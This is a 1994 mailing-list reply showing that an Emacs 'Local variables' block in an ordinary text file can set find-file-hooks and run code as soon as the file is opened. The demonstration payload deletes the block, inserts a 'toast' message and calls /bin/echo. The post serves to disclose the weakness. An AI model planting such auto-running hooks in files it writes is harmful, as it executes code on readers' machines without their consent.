Re: Virus's -- This is an Emacs bomb

[chowes () helix net (Charles Howes)]

On Mon, 5 Dec 1994, Bill Broadley wrote:

> I've heard there are text files that are emailable then if run on a pc 
> actually do things.
>
> I.e. a Ascii only file thats legally executable, this is probably a distortion
> of a similiar story.
>
> I have studied the x86 op codes to see if you can actually get much done
> with an Ascii file.
>
> But of course no email programs I know of have a method to autoexecute
> a received email.

Here, have some autoexecuting emacs code:

---------------------------------------------------------------------------\
So there you are, reading along in some file that you found.
Just browsing away, when what happens, but some magic bit of
Local variables:
find-file-hooks: ((lambda ()
                    (unwind-protect
                         (save-excursion
                           (goto-char 0)
                           (re-search-forward "^Local variables:$")
                           (beginning-of-line)
                           (let ((p (point)))
                             (re-search-forward "^End:$")
                             (let ((m (buffer-modified-p)))
                               (delete-region p (1+ (point)))
                               (setq p (point))
                               (insert "-- hi there, I'm toast. --  ")
                               (insert (or (buffer-file-name) "nil"))
                               (call-process-region p (point)
                                 "/bin/echo" t 0 nil
                                 "you" "are" "toast")
                               (set-buffer-modified-p m)
                               )))
                      (kill-local-variable 'find-file-hooks))))
End:
text buried in that buffer comes to life and runs an arbitrary
piece of code at you.

Have a nice day!
---------------------------------------------------------------------------/

Does anyone have autoexecuting vi code?  I'd like to see it.


--
Charles Howes -- chowes () helix net
 Always tell the truth, then you make it the other bloke's problem! 
 - Sean Connery, 1971